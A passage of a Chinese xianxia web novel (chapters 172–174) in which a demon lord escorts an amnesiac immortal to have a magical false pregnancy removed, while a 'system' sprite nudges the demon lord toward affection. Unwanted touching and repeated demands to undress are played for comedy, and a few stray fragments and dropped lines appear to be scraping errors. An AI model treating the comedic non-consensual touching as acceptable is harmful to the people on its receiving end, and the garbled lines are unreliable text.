“据系统分析,宿主是''宁为玉碎,不为瓦全’的性格,为什么会同意系统提出的任务要求,而不是一开始就斩杀主角呢? 话罢,屠天霸的眼神开始飘忽。 当然是想查探一番这两个新生心魔啦, 后来么……. 几息之后。 屠天霸冷漠麻木的表情逐渐褪去,眼睛里重新填满愤怒,“谁让这狗屁仙君长这么好看,书中又绘声绘色,害得我断了袖,真该死啊!!" “就算要死,他也要等我体验完双修乐趣再死!”屠天霸振振有词。 白色光球:" 算了算了。 知道宿主暂时不会搞死主角就行。 话虽如此,但N001还想为主角刷一点好感度,夹出甜噪,摆着一副知心球球的架势说道:“哎呀,宿主如果记挂着这件事,岂不是会影响双修的质量? 屠天霸听着,觉得有几分道理。 见宿主稍有意动,N001继续说:“系统这边呢,诚挚建议宿主辩证地看待问题,以及主角这个人哦~“ 屠天霸疑惑:“这是何意?" “意思就是,聂无润是聂无润,阿洄是阿洞…”白色光球的语气更加蛊惑,“聂无洄是归清门仗剑除魔的仙君,但失忆的阿洄只是你的妻子呀?” “宿主不就是喜欢性格温柔的人吗?” “难不成阿洄还不够温柔?对你说话也轻声细语,哎呀哎呀,今天给你涂药,明天就帮你按摩啦,说不定还会为你洗手作羹汤哦,到时候夫唱夫随.….! “嘿嘿。” 屠天霸抬手捂住自己的嘴巴,轻咳一声之后,板着张小脸,语气严肃道 “这般一分为二地看待问题,听起来倒也有几分道理,但我还要观察一下这人之后的表现!" 系统空间内。 白色光球拾起啾啾擦了擦脑门不存在的汗水,忍不住摊成了一块饼,“那宿主现在想到该怎么解决主角的假孕问题了吗?" 屠天霸已是久病成医,更何况他自己就是疑难杂症中的疑难杂症,自信点头道 “这灵丹非要霸占狗屁仙君的肚子,不愿脱离母体,那就把它剖出来!" “但在剖丹的过程中,母体定然凶多吉少,要想保全母体性命,还要借助妙仙宗宗主的法器“续命梭"… 屠天霸早年拜访过妙仙宗,不太顺利。 好在今时非同18日。 尽管他又恢复成了血雾化身的状态,但屠天霸的魔气隐藏得极好,任谁看了,都只当他是个境界低微的医修。 单论这点,他还是很满意心魔的。 就这样,屠天霸遗憾地告别了自己心仪的小山洞,如同先前那般将昏迷中的男人搬上了飞行法器,朝妙仙宗的山门方向飞去 根据他的观察,狗屁仙君一时半会儿也死不了,而屠天霸已经很久没出门了,于是他放缓了速度,不疾不徐地飞着. 星夜迢迢。 刚一睁眼,阿洄看到的便是这景象。 身上那阵剧痛已经消散无影,他缓缓转动眼眸,发现少年盘腿坐在自己身边,手里正捧着一本书在看,神情专注极了。 见自己醒来,少年一把将书册收入袖中,阿洄连封面都没来得及看清 他喉咙干涩,咽了两下,尝到丝丝铁锈味,不自觉地想起来 自己在昏迷之前,似乎产生了幻听。 嗯 应该是幻听。 只是他还没说话,就见少年俯身将脸凑过来,打量了他几眼,问道:“你啦? 阿洄望着着辽阔星夜,耳边是猎猎的风声,而他身上竟一点也不觉得冷,只下意识地问身边人, “我这是怎么了?" “我们要去哪里?" 话音刚落。 少年咦了一声,有点不耐烦地扯了扯自己被风撩起的额前碎发,抱怨道: “原来你之前没听见啊?那我重新说一遍好了。 莫名的,阿洄忽然心生不详的预感。 “等等,还是先不要…"” 少年不管他,自顾自地说了下去, “你怀孕啦。 “我现在带你去别人家打胎。 短短两句话,信息量太大。 男人沉默片刻,缓缓闭眼. 定是他还没有醒来。 “喂?怎么又昏了啊?!" “你现在明明都感觉不到疼了,娇气包吗你!" 归清门,宣事殿 掌门顾风籍坐在上首,对底下十数个弟子嘱咐道:“五十年一回的仙门大比就在眼前,此次轮到妙仙宗举办,你们不日便动身吧.…! “是,掌门!” 这十几个人样貌年轻,皆穿着象征着内门弟子身份的法衣,是归清门近些年很有潜力的弟子。 为首的青年更是生了一副星眉剑目,仪表堂堂的好模样,细看之下,跟座上的掌门还有几分相似。 掌门一挥手,将通讯玉简发了下去。 他道:“顾宸,你作为这辈弟子的大师兄,又是聂长老的亲传弟子,自当为师弟们作表率,明白吗?" 顾宸点头应是,神情却有些黯淡。 待掌门交待完仙门大比等事宜,顾宸跟其他弟子退出宣事殿,刚出殿门,其中一位弟子开口问道 “大师兄,大家都准备好了,现在就动身吗?" 顾宸将神情收敛,笑着道:“劳烦众师弟等我,我去去就来。" 等人走远了,其他人才小声交谈起来 “大师兄又去灵兆峰了吧? “聂长老已经闭关三百年了,期间谁也不见,大师兄怎么还去得那样勤快?" “亲传弟子,总归是不一样的。" “是啊,听说大师兄自幼便跟随聂长老练剑,情分不一般,再说此次前往妙仙宗参加仙门大比也不是小事.… “希望咱们归清门能拔得头筹吧。 顾宸御剑疾行,不消一刻便到灵兆峰。 此峰是整个归清门灵气最为充足,风景最好的地方,连门派宗主顾风籍的坐忘峰都不及,宛如仙境一般。 他落在山峰险崖的一处小木屋外,被结界阻隔在外,无法再前进一步,自然也无法查探到里头已经空无一人了。 顾宸静站片刻,传音道: “师尊!” “宸儿今日便要离山前往妙仙宗了,特来向师尊道别” 崖侧云雾缭绕,只存风声。 木屋中,一片寂静。 172、Chapter 172 夜色浓稠。 飞行法器擦着云层疾速飞过,浓云裂开一道深隙,露出万丈之下沉睡的苍翠群山。头顶苍茫星夜,男人还没来得及坐起身眺望周遭景色,就被身边人两句话震得表情空白,忍不住两眼一闭“不准睡!"屠天霸维持着俯身的姿势,迅速伸出两只手,分别撑开了男人闭合的眼皮,露出底下那双略显呆滞的眼瞳,阿洄:”"就见少年表情不虞地悬在自己上方,高马尾从肩后滑落,一缕微卷的发丝搔着他的侧脸,带来一阵痒意两人挨得有些近。阿洄能感受到少年呼吸的火热,他眸中有火苗在燃动,像是快要掉到自己身上.为什么又生气了?屠天霸都快气死了。男人一连睡了好几个时辰,而他已经被心魔吵得三百多年都没好好睡过觉了,不免心生嫉妒。一路上,屠天霸数次扰乱男人,奈何对方睡得实在香甜,怎么作弄都没有反应,反而呼吸更加悠长了。屠天霸:“真是可恶啊!”他气呼呼地对着空气打了一套拳法。屠天霸打累了,继续怒瞪男人,发现这狗屁仙君的睡颜亦是一等一的好,便将书册掏出来,回味了一遍.男人就是在这时候醒来的。妙仙宗距离甚远,此时路途刚过半。屠天霸扒拉着他的眼皮,指责道:“你吃了就睡,睡了半途还不满足,难不成你是猪精转世吗?"话音刚落。心魔悄咪咪地道了声,“宿主,人家是疼晕过去的耶,会发生这样的情况都是因为你乱给人吃药啦.”屠天霸心中冷哼:“那我怎么没晕?"正当他与机智心魔斗嘴之际,一只手突然搭上了他的腕,屠天霸的眼神瞬间凌厉起来,却听男人轻声道:".抱歉,让你等了这么久。"屠天霸视线微移:“呵。”阿洄将另一只手也搭上少年的腕,唇边的微笑有些勉强:“我不会再睡了,可以松开手吗?眼睛好干。屠天霸狐疑地警了身下人一眼,见他双眼红通通的,生怕这人又因一丝微不可查的疼痛而陷入昏迷他会忍不住嫉妒的。因此,屠天霸语气生硬地确认道:“你的眼睛痛吗?"阿洄只觉得掌下的腕子虽然纤瘦,却蕴含着无尽的力道,隐隐透露着一股不可挡的强势,自己居然撼动不了分毫。他不无不可地唔了一声。下一刻。少年果然收回了双手。阿洄顺势松开他的腕,不料对方两时撑膝,居高临下地点评道:“哼,真是娇气。”“你愧对这副伟岸的身躯!”阿洄眨了眨眼,对自己被少年冠以娇气’一词感到格外别扭和新奇,又微微庆幸对方的用词没有太他侧过脸,绕开少年稚气却充满压迫力的面庞坐起身来,发现两人乘坐在一艘飞舟之中,不知遁向何处。阿洄沉默半响,还是问出了声。“我究竟是怎么了?"居天霸真想仰天长啸一句:这狗屁仙君是不是耳朵不太好使?“真是,到底要我重复多少遍!!"他烦躁地挠了挠下颌,以灵气灌音,冲着男人扬声喊道:“你怀孕了、你怀孕了、你怀孕了啊——!"霎时间,这句话响彻苍穹,风送千里。阿洄再度陷入沉默。好在男人虽然失忆,记忆力却完好,他抬眸看了看满脸怒容的少年,沉吟道:“如果没有记错的话“你先前在山洞说过,想要与我,”说到这里,男人稍一停顿,才继续道,“想要与我进行第一次双修”“由此可见,你我之间还没有发生过肌肤相亲,我又怎么会怀孕呢?“他没注意自己的说法有异。世间万物注重阴阳调和,男人确实没有先天孕育子嗣的能力,但对于入了道的修仙者而言,想要以男儿身诞下子嗣,方法不在少数丹药、法宝、秘典等等,都有奇效。男人不提双修还好。他一提,屠天霸就来气。鉴于自己仍是元阳之身,一旦跟男人双修就会加速对方体内灵气的流动,从而导致丹胎愈发猛烈地吸收母体生机。换句话来说在男人顺利剖胎或产下丹胎之前,屠天霸双修无望了,并且这两者都是九死一生的险象,母体还需要时间恢复。屠天霸掰着手指头算了算时间,忍不住扼腕叹息:当个断袖可真麻烦啊!没办法,只好延长一段时间了。他恨铁不成钢地瞪着男人,“你怎么就不能坚持一天再昏呢?“ 阿洄:"” 还在想着双修吗? 两人鸡同鸭讲了好一阵,男人才弄清楚了自身的情况. 还好。 不是真的怀了孕。只因他伤势极重,却在短时间内吞服了太多高阶天材地宝,导致灵气聚集于腹,机缘巧合之下形成了胎。现如今,少年要带他去一个名为"妙仙宗’的仙道门派,向对方宗主借一件保命法器,为他取胎。虽说这胎是因少年而起,但阿洄没办法对少年产生一丝丝恶感,只觉得事态难料,对方待自己已是仁至义尽他的心里只有感激,没有埋怨。思及此处,阿洄忍不住反思自己如此暗含提防,对少年是否不太公平,亦或是伤了他的心?如此,才使得对方始终一副怒容? “咕噜噜 倏然间,男人从沉思中醒了神。 意识到这道闷鸣是从自己腹中传出来的之后,他有些陌生地感受一番,随即望向少年,唤了声 “小修。" 少年没反应,直到他又喊了一声,才慢吞吞地警过来,恶声恶气地应道 “又干嘛?!" 阿洄有意放软了语调,温和有礼,却不失亲昵地说道: "我饿了。” 男人的尾音轻柔,宛如清风拂面。 屠天霸瞪着人,就见他抿着唇,冲自己绽出一抹很清浅的微笑,整个人笼罩在月光中,身后是一片辽阔的云雾。”.哼。" 尽管怒骂狗屁仙君是猪精转世,但居天霸知道腹中饥饿的滋味有多难受。 更何况他对狗屁仙君那身好肉嫉妒归嫉妒,却也舍不得它饿得瘦了形,自然很爽利地掏出一大块散发着香气的熟肉,递过去 “吃吧。 男人又眨眨眼,抿唇轻笑道:“我不喜欢吃肉,有果子之类的吃食吗?” 还挑食?! 挑食还长这么高?贼老天真是待他不公!真该死啊!屠天霸骂骂咧咧地将肉块叼在嘴里,从袖里乾坤翻出几个捡到的储物袋,找了许久才从一个低阶修者的储物袋中找到现成的人间饭食不仅有水果,还有热饭热菜和酒水。他扯出一张矮桌,将吃食放上去,没好气地道:“喏,吃吧。说完,屠天霸贼心不死,又问一句,话罢,机智心魔出言道“宿主,你这燕国地图也太短了吧?"屠天霸很擅长忽略心魔音的干扰,他紧盯着男人,两只手在身前比划了个手势,补充道:“是脱光哦-阿洄捏着筷子,已经能从容地应对这个三番两次出现的要求了,他面色平静地反问道:“我们不是道侣吗?他顿了顿,继续说:“道侣之间情分非同一般,是世间最亲近的人,怎么能跟寻常的关系相提并论?屠天霸听在耳中,只听出了一个意思。这狗屁仙君竟想白吃他的饭。屠天霸有点后悔,又开始瞪人。修仙之人非同凡人。 “我对你这么好,你们正道修士不是最讲究礼义廉耻,有恩必偿还的吗?既然你吃了我给的饭,那你脱光衣服让我看看,这要求不算过分吧?" 男人腰背挺直地坐在桌后,案上摆满了泛着温润光芒的青资碗盖。他提着筷子,衣袖半挽,露出骨节分明的手腕,腕间印着一圈青紫的痕迹,指印分明,哪怕仅仅是低阶修者,手里也不缺好东西。一双白玉箸被男人掐在指间,屠天霸一时分不清筷子和他的手,哪一个更白,更具风骨。 只觉得晃眼。 屠天霸手下一犹豫,对方便指节微抬,夹起了一只蜷缩着的水晶虾仁。虾仁白胖粉嫩,表面还沾着汁水,被男人送到了他的面前,就摆在屠天霸嘴边,只要他一张嘴,就能将其整只吞下。".你干嘛?"屠天霸狐疑地垂眸看了一眼,质问道。尽管跟少年相处的时间不长,但阿洄已经察觉对方似乎很不擅长与人相处,说话时语气生硬,内容更是就比如, 动不动把脱光,双修挂在嘴边。阿洞不知道自己的过去如何,更不知道对方是如何养成这性子地,他隐约认为自己的年纪更长些,应当承担起引导少年言行举止的责任迎着少年疑惑的目光,他举着腕,心平气和地解释道:“并不是付出身体美色才叫报答,而是要发自内心地对一个人好,为他着想。说话间,屠天霸已经将虾仁吃了。他的腮帮子微鼓,讲起道理竟也头头是道,“你这人真不要脸,用我的药膏给我涂药,用我的饭来喂我,这就是对我好?"他不屑地撇撇嘴,“嘁,还不如脱衣服。"男人被直截了当地一通说,心中确实生出些许亏欠,回答得却也坦荡,“如今我样样都依靠你,要你关照,但我也会尽力对你好的,这才是道的相处之道。他弊着少年湿润的唇,留心观察他的神情,忽然问道:“好吃吗?"屠天霸觉得这狗屁仙君真是会卖乖,喂一粒虾仁就来邀功了,愤愤然应道:“这么小小一口,我怎么知道好不好吃啊?!"他一拍桌, ".….再来一个!"连续吃了七八个虾仁,以及其他盘里的菜,屠天霸没尝出什么味道,反而心里更痒痒了,压低声音,跟人打着商量“脱一件上衣也行。" 阿洄面带微笑,提筷往他嘴里塞了一块炙肉,“好吃吗?"屠天霸在桌对面坐得歪七扭八,仪态跟男人简直一个天一个地,他甚至单手撑着下巴,一副只等人喂的懒散模样。他的嘴里被男人塞了肉,哪里还说得出话,只好在心中暗恨这狗屁仙君真是好好诈的心思,另一只手悄默声从桌下探过去.….摸了一把男人的大腿。 爽! 巨象:优七去汗滋 173、Chapter 173.…. 屠天霸的手一伸出去,就收不回来了。 掌下是男人的大腿。膝盖稍上一些的部位肉感不太明显,但胜在筋骨分明,柔韧有劲…… 摸起来,也算解了几分心头渴。 屠天霸之前只是被男人用手指在脸上涂抹药育,就忍不住热了脸,还一个劲儿地在心里蛐蛐对方是不是对自己施展了魅惑勾人的邪功,实非正道所为。 总之,不是个正经人。 眼下轮到他不正经地摸人大腿,可他非但没有一点点吃人豆腐的自觉,竟还挑三拣四起来了。 上一刻,他还在嫌弃掌下的布料; 下一瞬,屠天霸的手指仿佛生出了自我意识,本能地往肉多的地方爬了过去…… 很快,啪的一声轻响。 男人面上八风不动,腰背仍挺直,执箸的手一下都没有停顿,另一只手却迅疾准确地按住了少年那只不规矩的掌。 他的手掌比少年的大了一圈,严严实实地覆盖在对方手背上,且大拇指轻扣住那截过分瘦的腕。 两人的手心与手背紧贴,热度自上传递下来。 一代魔尊屠天霸就这样被沦为凡人的正道扛把子挟持住了。 他无声喊道: “心魔,怎么回事?!” “我怎么感觉半条手臂都酥了?好像都动弹不得了?这狗屁仙君是不是又使了阴招对付我?” “我的力气似乎都被他吸走了!” 系统空间内。 NO01简直没眼看光屏。 都说林子大了什么鸟都有,袍说世界多了什么宿主都有。 怎么会有人集猥琐与纯情于一身,摸别人大腿重拳出击,被人摸一下小手就无能狂怒啊! 半晌。 袍憋出一句, “你可能中了小处男的诅咒叭,像男主这种温柔漂亮大哥哥类型,对你这种小处男简直就是特攻嘛。” 话虽如此,袍还是忍不住担心 真怕宿主哪天暴起,在精神不稳定的情况下直接把主角或者自己创死啊。 屠天霸得到心魔的确认,当即恶狠狠地瞪了一眼桌对面的男人,随后又是一声重重的冷哼,仿佛把他当成嘴里的肉,用力撕咬起来。 阿洄:“…….” 不让摸就生气了吗? 男人没办法,只好动了动大拇指,轻柔地摩挲了两下少年的腕侧,像是摩挲小孩的头顶那般,带着安抚的意味。 温和且纯洁。 然而,屠天霸只觉得那阵酥麻感霎时蔓延到自己的整条臂膀,嘴上不自觉发出一声哼唧,尾音一波三折,听起来暖昧至极。 男人的表情微顿,手下动作也僵住。 两人的肢体接触分明已经控制在一个不算太狎昵的范围,少年的反应却让他觉得自己似乎做了什么不恰当的事情。 屠天霸又在跟心魔叫唤了, “岂有此理啊!” “这人是不是藏了后手,偷偷施展雷诀电我?!我麻了,我全身都麻了!!” NO01顿时一个战术性后仰,远离光屏。 麦艾斯。 阿洄现在处在一个进退两难的境地。 假若他松开少年的手,以对方的性子极有可能直接摸上来,对他来说,那种程度还是太超过了。 可他要是不松开…… 阿洄望着少年脸上复杂的表情,只觉得头皮一阵微麻,整个人都不自在了。 这顿饭吃得着实艰难。 好在还是吃完了。 少年手臂一挥,几乎被扫空的杯盘碗盏与桌案统统消失不见。 见两人中间没了阻隔物,阿洄默不作声地往飞舟边上挪了挪,扭头望向外头那片浩瀚星海,想要借此平息自己面上的热。 可少年静不下来。 屠天霸仍旧举着那只被电麻了的手。 他始终没查出自己被施法的痕迹,方才自行摸了几下男人蹭过的腕侧 没什么感觉。 屠天霸瞥了眼模样看似心虚,不敢与自己对视的男人,语气笃信地道了声, “定是你暗算了我!” 尽管失忆后醒来的时间很短暂,但阿洄对这番 屠言屠语 已然有了初步了解,他没回头,只轻声问道: “这是何意?” 于是,屠天霸将自己早先对心魔所说的那番推测复述了一遍,又举了涂药和摸手这两个强有力的例子,质问道:“要不是你暗算我,我怎么会屡次感到浑身酥麻难忍,哪哪儿都不对劲?只有在你主动碰我的时候,我才会有这般感受!”阿洄起初还听得认真,不料越听越觉得不对劲——少年的说辞不像是遭人暗算的表现,反倒像是春心萌动,燥意翻涌。他忍不住回头看了一眼。少年杏眼圆睁,非要向他讨一个解释。 阿洄心中思绪复杂。 因为他发现对方先前那番‘剑修非要以身抵债,他被赖上了’的解释似乎越来越可信了….少年不仅不擅长说谎,连自身的心思都不能清楚辨别,仿佛感情异于常人,在这方面格外迟钝。 此时此刻。 他眼中的困惑是如此浓重。 阿洄竟不知该如何回答。 见男人久久不说话,屠天霸仅存的耐心消耗殆尽,他臭着脸逼近,将被对方摸过的手腕横在身前,强势地威胁道: “不老实交代的话,我立即解了你身上的共振之术,让你疼得死去活来!虽然我是没什么感觉,但你这个娇气包肯定是受不了的!” 阿洄迷茫地问了句, “何为‘共振之术''?” 屠天霸得意地笑了两声,三两句交代了这个自创法术的效用,洋洋得意道: “怕了吧?怕就交代。”夜空沉寂,唯有风声呼啸。 飞舟底部刻了数个阵法,既能避风又能恒温,舟中亦嵌有照明晶石,将这片空间映得光明透亮。屠天霸的话音刚落,就见男人很明显愣了一下,那双微阖的双眼顿时睁大,以至于眼皮上的折痕愈发深刻。光被折碎,暗影被私藏。“…你说什么?” 听男人低声呢喃,屠天霸又想对空气打拳了。 他严重怀疑在自己脑袋混乱的那段时间里,他或者天雷劫是不是把狗屁仙君的耳朵给打坏了?眼下的情况,真是比全聋更让人生气。全聋起码还能传音。可狗屁仙君的听力时好时坏,他压根不知道什么时候该跟对方正常说话,什么时候该心内传音。 “呃啊——“ 屠天霸表情痛苦,有些崩溃地拍着飞舟壁边,将飞行法器拍得歪歪扭扭,目眦尽裂地高声喊道:“你他。的怎么、什么都、听不清啊!” “又要我重复多少遍!!” 嘭嘭嘭,嘭嘭嘭。 飞舟不堪重负,被他拍出一道裂纹。 少年更是不知疼一般,不停歇。 阿洄连忙去捉他的手,却见少年转了个方向躲过自己,用巴掌狂拍飞舟,狂躁地发着脾气, “跟你说话、真的、好费劲啊!!” 拍着拍着,屠天霸的狂性上涌,激起了某种延续了多年的习惯行为。 ——用头去撞地板。 只是这声‘咚久久没有响起。 他被人从身侧抱住了。 事情发生在瞬息之间。 男人差不多是撞上来的,整个人扑在屠天霸的身侧,成功阻拦了对方疑似自伤的行为。 只是男人如今沦为凡人之身,虽然动作迅速,力道却比不上屠天霸,被对方的力道带得一个翅趄,披散的长发甩到身前,划出一道好看的弧度。 两人一同倒在飞舟中。 声音不大。 等屠天霸的头脑稍微冷静下来,骤然发现男人的一只手臂正揽在他身前,另一只手臂抱着自己的后腰…… 如墨的长发铺散在他身上。 男人湿热的呼吸则喷洒在他的侧脸,靠近耳朵的地方,说话时,吹得屠天霸耳的根子都快飘了。 他说, “不要这样做。” 他还说, “其实我听清了,只是觉得惊讶,这才一时没回过神来…….” 屠天霸仰面躺着,面容麻木平静地看着满天星辰,花了一点时间才找回平时说话的正常语气, “哦,原来你听清了啊,不早说。” 沉默片刻。 男人终于回答了屠天霸先前追问的那个问题,“我主动碰你,你有那些反应,并不是我对你做了什么…….” 他顿了顿,似乎有些纠结。 屠天霸:“啧。” 下一瞬,男人闭了闭眼,带着很复杂又有些无措的心思,轻声缓道: “可能、可能是因为……” “你心悦于我吧。” 屠天霸平静到显得呆滞的表情一下子皱成了包子,忍不住扭头看向侧躺在自己身边的狗屁仙君,神情中的嫌弃溢于言表, “…呕!” 男人又愣了愣,眉眼忽然舒展开来,似乎被他的神情逗笑了,用一种屠天霸不是特别懂的语气问他: “我们不是道侣吗?” 话毕,阿洄凝视着少年那双泛着血丝的眼睛,犹豫半晌,仍是决定将下一句话咽进喉咙里。 ……先不说了罢。 屠天霸不知狗屁仙君心中思绪,只是将眼珠子瞥向另一边,漫不经心地捡起了自己当初随口乱编的背景故事,强调道: 话音刚落。余光中,男人在说: “我是勉强接受。” 他贼心不死,见缝插针地问了句, “如果你想报答我的恩情的话,就尽快跟我双修,我真的、真的、真的很急啊!” 听着少年用加重的语气一连强调了三遍双修之事,阿洄无奈地笑了笑。 他注视着少年平静下来的脸,跟方才陷入暴怒狂躁状态时很不一样,却又带着某些说不清道不明的共性…… 阿洄忍不住思忖着, 少年究竟生活在怎样的环境中呢?才养成了这样复杂又易懂的性格。他的眼睛有时候很亮,有时候很疲惫,看上去像是一颗快要死去的星星。 闪烁着,摇摇欲坠。 无论失忆前他们二人是什么关系,阿洄都想尽可能地对这个少年好一些,不仅仅是为了对方的偿还救命之恩,更是因为…… 他觉得自己应当承担起这个责任。 最终,阿洄还是捉住了少年那只险些拍碎飞舟的手掌。 屠天霸躺着没动,垂眸就见男人揽在自己身前的手缓缓向下移动,轻柔地牵住了自己的手掌。 他握着屠天霸的腕,拇指抵在腕侧。 屠天霸下意识地抖了抖,觉得那阵酥酥麻麻的感觉又出现了,立马质问道: “麻了,你还说没做手脚?” 一股微凉的气息拂过他涨红的手心。 是男人敛着眸,朝自己掌心一下下呼气的侧影。他的睫毛很长,裁下来的影子格外细碎,嘴唇有点薄,可是看上去很柔软。 掌心又热又凉。 屠天霸又酥又麻。 他的神魂似乎迟缓了许多,又像是被身边人传染了听力差的毛病,直至对方晃了好几下他的肩膀,他才反应过来。 “小修,你把法术解了吧。” 他循声回望,发现男人正凝神注视着自己,眼眸里盛满了碎星与月光,看上去清正又温柔,语调很是平静。 屠天霸忽然觉得心魔说得很对。 狗屁仙君是狗屁仙君。 二者不可混为一谈。 狗屁仙君提剑想要杀他,可是眼前的男人却不想他疼,还会给他的手掌心吹气,是个知冷知热的贤惠好夫人。 屠天霸顿悟了。 他蛄蛹了两下,将自己也扭成侧躺的姿势,跟男人面对着面,真心实意地道了声,“你说得对。”“我可能是有点喜欢你了。” 只是他此前对狗屁仙君的恶感太重,压过了这阵微弱的好感,但是屠天霸自觉已经大彻大悟了—狗屁仙君的事,和阿洄有什么关系啊? 通透之后,屠天霸的心情顺畅了许多。 然而,下一秒。 他小脸一板,不忘敲打道: 阿洄是阿洄。 “男子汉大丈夫,说好要以身抵债就要说到做到,等解决了你肚子里的丹胎,你可不要忘了那件十万火急的事情啊。”“忘了也不要紧,我会提醒你的!” 系统空间内。 白色光球痛苦面具。 啊啊啊— 上一句是喜欢你, 怎么下一句还是闹着要双修啊!! 174、Chapter 174… 屠天霸语气严肃地敲打了男人一番,全方面展示过自己的丈夫威严之后,忽然安静下来。 不多时。 一声怪笑从他的唇缝间逸散出来。 屠天霸下意识地抬掌捂住嘴巴,圆而大的杏眼瞥着男人,语速飞快地解释了起来。 “嗯,我是高兴才笑的,对了,我刚才那样……”他随意比划两下,强调道,“也不是因为脑子出了问题哦,只是天生脾气不太好,比较急躁啦。” 说完,他自顾自地点点头,那双眼却始终留意着男人的反应。 见这人一声不吭,屠天霸神情一变,又变成男人所熟悉的怒容,气鼓鼓地唤道: “喂,你听见了没?” 老实说,在屠天霸决定将面前之人一分为二地看待之后,他便觉得自己先前的举动有失妥当,有必要跟对方说清楚。 他可不是一个疯癫的人。 只是脾气不太好罢了。 …" 可恶! 那些在他耳边吵吵闹闹的心魔真是该死啊!要是让他的大屁股男妻觉得他精神不正常,嫌弃他怎么办?! 这男的怎么还不说话! 快点跟我说话啊!! 说起来,该怎么当一个优秀的断袖啊? 心魔,机智心魔快教教我啊! 屠天霸的脑子迎来了前所未有的挑战。 阿洄却怔忪了许久。 迎着少年火热又急切的目光,他不得不回神,只是耳边仍残留着那句‘可能是有点喜欢你了’的余响…… 少年的语气干脆且淡然,仿佛在说‘肚子饿了’这般寻常的话,阿洄却骤然发现对方身上发生了某些微妙的变化。 那股若有若无的凌冽消失了。 此时此刻。 少年别别扭扭地睨着他,看似生气,眼眸深处却徘徊着一丝很隐晦的紧张。联想到他说的话,阿洄有些想笑。虽然少年的性格确实很古怪,让人无法招架,但自己又怎么会将他看作疯子呢? ……只是有点跳脱。 他不动声色地松开少年的腰与手,在对方不悦的神情中缓慢起身,用一种温和而肯定的语气徐徐道:“是我行事温吞,惹急了你。” “你不必担心我对你会产生什么不好的看法,每个人都有自己独特的脾性,只是与人相处,总要经历磨合…”“我们约法三章,往后我跟你说话直白些,你也不要时常发怒,这样可以吗?”男人说话的声调温柔,先是将责任揽到自己身上,又表明了自己的看法,最后还提出了约束之道,层层递进。 系统空间内。光屏前。光屏外。我也想要!发狂—继续发狂—当然了。呜呼。 NO01振奋握拳:“虽然这届宿主癫得可怕,好在主角是前所未有的靠谱男人,失了忆还残留着师尊本能,非常好!”“尽管在修仙文里,师尊’绝对是最高危的职业,但牺牲主角一个,幸福统统一双,拯救世界的职责就全靠你了!”“去吧,去感化宿主吧,大不了以身饲虎,修真界的未来全靠你了哟!” 白色光球悲痛、挣扎、欢呼。 角落里的蓝色光球:【………】 哪来的‘幸福统统一双''? 到底是谁在偷偷幸福?? 快放我回总局啊! 球与球的悲喜并不相通,蓝色光球只觉得主系统吵闹,却只能暗暗腹诽。 别问。问就是惹不起。 屠天霸如听仙乐耳暂明。 如果说这番话的人是狗屁仙君,他肯定忍不住嫉妒、厌恶、只觉得这贼老天真该死啊,怎么什么好东西都安在同一个人身上? 然而,现在说这番话的人是他的男妻阿洄,屠天霸刚支起来的气焰一下就消了,两脚一蹬,整个人蓦地往前一滑…… 脑袋顺利靠上了男人的大腿。 他感受着后脑传来的那股柔软却不失劲韧的触感,忍不住长舒一口气,顺手又摸了摸男人的小腿,应声道: “行吧,就听你的吧。” 时效暂定为男人恢复记忆之前。 屠天霸想了想,补充道: “啊,不过我没办法保证自己不发脾气哦,也不是说我一定会打骂你啦,但是做不到的事情也不能随便许诺吧?” “我可是一个诚实可靠的男子汉。” 可恶,如果是其他事情,他说说谎就算了,但是这件事实在太困难了。 屠天霸自觉被戳中短板,有些不悦,却又沉迷男人的大腿,懒得起身,殊不知自己说到“诚实可靠 这四个字的时候,眼珠子又开始不自然地转动起来。 阿洄颔首敛眸,将其尽收眼底。 他没有推开少年的脑袋,只是默默按住了对方悄无声息往某处爬的手掌,轻柔地拉到自己的膝头。 在对方不自觉撇嘴时,他笑了笑,轻声肯定道:“嗯,做不到的事情确实不能轻易承诺,这一点倒是你考虑得更周全些。” 听着这声,屠天霸半边身子都麻了,忍不住又发出一声怪笑,催促道: “再摸摸那儿。” 他说的是腕侧。 可阿洄牵着他的手,并没有如他所言地摸摸这儿那儿的,只是收敛着表情,有些凝重地问起共振法术的事情。 他的说话声好听,屠天霸听着舒坦,便隐藏了敛灵丹与心魔的事情,其他能说的差不多都交代了。“灵胎霸道,你又是个剑修,体内灵气中蕴含着剑气,被它吸收之后自然会感到刀剑般尖锐的疼痛了。”“不过你放心,这胎不似真人,定要十月怀胎才生的下来……”屠天霸偏过脑袋,用天眼仔细观察了片刻,继续道: “唔,看样子,只要十天时间就能瓜熟蒂落了,已经过去了一天,还有九天…….”只不过这胎一旦生下来,男人将会生机断绝,油尽灯枯。所以只能剖,不能生。 屠天霸抛开对狗屁仙君的厌恶之后,极为迅速地进入了丈夫这一角色,反手揉捏了几下男人掌心中最具肉感的部位,宽慰道: “放心,我一定会让你顺利引产的!”“定让阻碍我双修的祸害胎死腹中!”屠天霸说得咬牙切齿。阿洄:……" 虽是他的生死大事,少年却还是一副古古怪怪,不太正经的模样,但男人还是诚挚地道了声谢。随后,他旧事重提。“…你还是解了法术吧。” 那阵疼痛让人刻骨铭心,不知少年是如何忍下来的,举止神情皆为自若,没有透露出一星半点的痛意,仿佛什么感觉都没有。他此前不知这事,知道后,阿洄无法坦然接受对方以身替之。屠天霸嫌男人唠叨,不耐烦。 一件小事反复提了好几遍了。 可他转念一想:没道理妻子关心丈夫还要挨训吧?显得他这人多差劲似的……于是,屠天霸调整了一下姿势,翘起一条腿,很随意懒散地晃悠了两下,应声道: “你真的是很娇气一男的,半点疼都受不了,要是又晕过去睡一路,就算你是我的妻子,我顶多只能忍两天不抽你。”只不过前面还说自己不会打骂男人,屠天霸忽然觉得有点丢脸,他掰着手指头,改口道:“三、四……嗯……” 屠天霸思量许久,满脸勉强地伸出五根手指头,还将它伸到男人面前,邀功道: “算啦。”倏然间。温软得很。方舟之中。不止是压迫感。 “五天!我可以忍五天!” “要是真的没忍住,我尽量轻点。” 说完,屠天霸骤然陷入沉默。 怎么回事,怎么越说越觉得丢脸啊! 他唰的一下缩回手掌,将五根指头扣进掌心里,很不耐烦地又一次改了口, “好烦,就这样吧。” “反正我一点感觉都没有,你不要再啰嗦了,法术我是不会取消的!我才是一家之主,这件事我说了算!” 屠天霸直接拍了板。 然而,阿洄思量片刻,又问他, “为何你感受不到疼痛?” 屠天霸刚才缩掌的时候不小心握住了男人的一缕发丝,忍不住将其缠绕在指间,一圈圈地卷上去。 他想起了书册中的某个片段。 白肌黑发,香汗淋漓。 